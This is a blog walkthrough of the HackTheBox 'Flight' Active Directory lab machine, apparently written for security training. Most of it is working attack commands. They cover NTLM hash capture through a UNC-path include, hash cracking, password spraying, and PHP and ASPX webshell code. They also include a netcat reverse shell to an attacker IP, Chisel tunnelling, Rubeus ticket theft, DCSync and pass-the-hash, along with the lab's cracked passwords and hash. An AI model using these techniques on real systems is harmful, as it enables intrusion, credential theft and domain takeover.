Post

Flight

The school subdomain's ?view= parameter passed input directly to PHP include(); bypassing its backslash filter with forward slashes pointed it at a UNC path, forcing the web process to authenticate over SMB and handing Responder a Net-NTLMv2 hash for svc_apache that cracked to give the foothold credential.

Posted
By Infinit3i
6 min read
Flight

Overview

Flight is a hard-difficulty Windows Active Directory machine. The school subdomain runs Apache on Windows with a path traversal-vulnerable include parameter; triggering it with a UNC path captures the service account’s Net-NTLMv2 hash via Responder, which cracks to reveal a reused password. A password spray finds a second account sharing those credentials, NTLM-theft files in a writable SMB share capture a third account’s hash, and that account’s write access to the Web share allows uploading a PHP webshell — giving code execution as svc_apache. RunasCs escalates to c.bum; c.bum’s WebDevs group membership allows writing to the internal IIS development site, an ASPX webshell there runs as IIS APPPOOL\DefaultAppPool, and Rubeus tgtdeleg obtains the machine account TGT used to DCSync the Administrator NT hash — full domain compromise.

Machine Matrix

Enumeration Real-Life CVE Custom Exploitation CTF-like

Enumeration dominates at maximum: multi-layer vhost discovery, Responder capture, domain user enumeration, password spray, NTLM-theft, and internal port tunneling; Real-Life is high because LFI-to-NTLM-capture, credential reuse, and IIS app pool machine account abuse are all genuine production attack paths.

Recon

PortServiceNotes
53DNSDomain: flight.htb
80HTTPApache — flight.htb + school.flight.htb vhosts
88KerberosDC indicator
389LDAPActive Directory
445SMBMultiple shares including Shared and Web
5985WinRMWindows Remote Management
1
2

nmap -p- --min-rate=1000 -T4 -Pn 10.10.10.X
nmap -p53,80,88,389,445,5985 -sC -sV -Pn 10.10.10.X

The port mix — Kerberos, LDAP, SMB, and WinRM alongside HTTP — immediately identifies this as a Windows Domain Controller. Two hostnames resolve: flight.htb and school.flight.htb.

Enumeration

Add both vhosts to /etc/hosts:

1

echo "10.10.10.X flight.htb school.flight.htb" | sudo tee -a /etc/hosts

Fuzz for additional vhosts on the Apache server:

1
2

ffuf -u "http://flight.htb" -H "Host: FUZZ.flight.htb" \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs 7069

school.flight.htb is confirmed. Browsing it reveals a PHP site whose navigation uses a ?view= parameter to include page content — a classic path traversal target.

The filter blocks backslashes but not forward slashes. On Windows, both are valid path separators, and PHP’s include() accepts UNC paths (\\server\share). Substituting a UNC path with forward slashes (//LHOST/share) causes the Windows Apache process to initiate an SMB authentication attempt outbound — directly into a waiting Responder listener.

Start Responder on the attacker interface:

1

sudo responder -I tun0 -v

Trigger the UNC include from a second terminal:

1

curl "http://school.flight.htb/index.php?view=//10.10.10.X/htb"

Responder catches a Net-NTLMv2 challenge/response for svc_apache. Crack it offline:

1

hashcat -m 5600 svc_apache_hash.txt /usr/share/wordlists/rockyou.txt --force

Recovered password: S@Ss!K@*t13.

Enumerate domain users with the cracked credential:

1
2

lookupsid.py 'flight.htb/svc_apache:S@Ss!K@*[email protected]' \
  | grep SidTypeUser | cut -d' ' -f2 | cut -d'\' -f2 > users.txt

Spray the recovered password across all domain users (CWE-256):

1

netexec smb flight.htb -u users.txt -p 'S@Ss!K@*t13' --continue-on-success

S.Moon reuses the service account password. Check the shares available to S.Moon:

1

netexec smb flight.htb -u S.Moon -p 'S@Ss!K@*t13' --shares

Shared is readable and writable. Generate NTLM-theft files to capture the hash of whoever browses the share:

1

python3 ntlm_theft.py --generate all --server 10.10.10.X --filename flight

Upload only .ini and .xml files (the share rejects other extensions):

1

smbclient //flight.htb/Shared -U 'S.Moon%S@Ss!K@*t13'

At the SMB prompt: put flight.ini

Responder captures c.bum’s Net-NTLMv2 hash when the user browses the share. Crack it:

1

hashcat -m 5600 cbum_hash.txt /usr/share/wordlists/rockyou.txt --force

Recovered password: Tikkycoll_431012284.

Check c.bum’s share access:

1

netexec smb flight.htb -u c.bum -p 'Tikkycoll_431012284' --shares

Web is readable and writable — this share backs the Apache vhosts directly.

Foothold

Create a PHP command webshell:

1

echo '<?php system($_REQUEST["cmd"]); ?>' > shell.php

Connect to the Web share as c.bum and upload the webshell into the school vhost styles directory:

1

smbclient //flight.htb/Web -U 'c.bum%Tikkycoll_431012284'

At the SMB prompt:

1
2

cd school.flight.htb\styles\
put shell.php

Verify remote code execution:

1

curl "http://school.flight.htb/styles/shell.php?cmd=whoami"

Output: flight\svc_apache

Upload nc64.exe to the same directory for a reverse shell:

1

smbclient //flight.htb/Web -U 'c.bum%Tikkycoll_431012284'

At the SMB prompt: put nc64.exe

Start a listener:

1

nc -lvnp 4448

Trigger the reverse shell via the webshell:

1
2

curl -G "http://school.flight.htb/styles/shell.php" \
  --data-urlencode "cmd=C:\\xampp\\htdocs\\school.flight.htb\\styles\\nc64.exe -e cmd.exe 10.10.10.X 4448"

A shell as svc_apache connects back. Upload RunasCs.exe via the Web share and use it to spawn a shell as c.bum — c.bum is not in Remote Management Users so WinRM is unavailable, but CreateProcessWithLogonW does not check that group:

1

smbclient //flight.htb/Web -U 'c.bum%Tikkycoll_431012284'

At the SMB prompt: put RunasCs.exe

Start a second listener on Kali:

1

nc -lvnp 4449

Execute RunasCs via the webshell to get a c.bum reverse shell:

1
2

curl -G "http://school.flight.htb/styles/shell.php" \
  --data-urlencode "cmd=C:\\xampp\\htdocs\\school.flight.htb\\styles\\RunasCs.exe c.bum Tikkycoll_431012284 -r 10.10.10.X:4449 cmd.exe"

User flag

1

type C:\Users\C.Bum\Desktop\user.txt   # HTB{...}

Landed as flight\c.bum via RunasCs lateral movement — user flag captured.

Privilege Escalation

Confirm c.bum’s group memberships and the IIS development directory ACL:

1
2

net user c.bum /domain
icacls C:\inetpub\development

c.bum is in WebDevs, which has (OI)(CI)(W) write access to C:\inetpub\development. An IIS site is running on port 8000 internally (not exposed externally). Tunnel it out using Chisel.

Upload chisel.exe to the Web share via c.bum SMB access:

1

smbclient //flight.htb/Web -U 'c.bum%Tikkycoll_431012284'

At the SMB prompt: put chisel.exe to school.flight.htb\styles\

Start the Chisel reverse server on Kali:

1

./chisel_linux server -p 9005 --reverse

Connect Chisel from the target via the webshell, forwarding port 8000 to Kali port 8001:

1
2

curl -G "http://school.flight.htb/styles/shell.php" \
  --data-urlencode "cmd=C:\\xampp\\htdocs\\school.flight.htb\\styles\\chisel.exe client 10.10.10.X:9005 R:8001:127.0.0.1:8000"

Verify the internal IIS site is now reachable:

1

curl -s "http://127.0.0.1:8001/" | grep title

Create an ASPX command webshell:

1
2
3
4
5
6
7
8
9

cat > shell2.aspx << 'ASPXEOF'
<%@ Page Language="C#" %><%@ Import Namespace="System.Diagnostics" %><%
string cmd = Request.QueryString["c"];
ProcessStartInfo psi = new ProcessStartInfo("cmd.exe", "/c " + cmd);
psi.UseShellExecute = false; psi.RedirectStandardOutput = true;
Process p = Process.Start(psi);
Response.Write(p.StandardOutput.ReadToEnd());
%>
ASPXEOF

Upload shell2.aspx to the Web share, then use RunasCs (as c.bum) to copy it into the development directory:

1

smbclient //flight.htb/Web -U 'c.bum%Tikkycoll_431012284'

At the SMB prompt: put shell2.aspx to school.flight.htb\styles\

1
2

curl -G "http://school.flight.htb/styles/shell.php" \
  --data-urlencode "cmd=C:\\xampp\\htdocs\\school.flight.htb\\styles\\RunasCs.exe c.bum Tikkycoll_431012284 \"cmd.exe /c copy C:\\xampp\\htdocs\\school.flight.htb\\styles\\shell2.aspx C:\\inetpub\\development\\shell2.aspx\""

Test the ASPX shell over the Chisel tunnel:

1

curl "http://127.0.0.1:8001/shell2.aspx?c=whoami"

Output: iis apppool\defaultapppool

IIS APPPOOL\DefaultAppPool is a virtual account — it has no real password but authenticates over the network as the machine account (flight\G0$). Upload Rubeus.exe to the development directory and run tgtdeleg to obtain a machine account TGT:

1

curl "http://127.0.0.1:8001/shell2.aspx?c=C%3A%5Cinetpub%5Cdevelopment%5CRubeus.exe+tgtdeleg+/nowrap"

Copy the base64 ticket output, then convert it to a ccache for impacket. The box has a ~7-hour clock skew — ntpdate sync is mandatory before any Kerberos operation:

1
2
3
4

echo "<BASE64_TICKET>" | base64 -d > ticket.kirbi
impacket-ticketConverter ticket.kirbi ticket.ccache
sudo ntpdate flight.htb
export KRB5CCNAME=ticket.ccache

DCSync the Administrator hash using the machine account ticket (CWE-269):

1
2

impacket-secretsdump -k -no-pass g0.flight.htb \
  -just-dc-user Administrator -target-ip 10.10.10.X

Pass the Administrator NT hash to read the root flag directly over SMB:

1
2
3

netexec smb flight.htb -u Administrator \
  -H 'aad3b435b51404eeaad3b435b51404ee:43bbfc530bab76141b12c8446e30c17c' \
  -x 'type C:\Users\Administrator\Desktop\root.txt'

Root flag

1

type C:\Users\Administrator\Desktop\root.txt   # HTB{...}

Full domain compromise via machine account DCSync — Flight is done.

HackTheBox, Windows
hackthebox windows hard active-directory lfi ntlmv2-capture responder password-spray ntlm-theft smb php-webshell runascs chisel iis aspx-webshell rubeus dcsync kerberos pass-the-hash
This post is licensed under CC BY 4.0 by the author.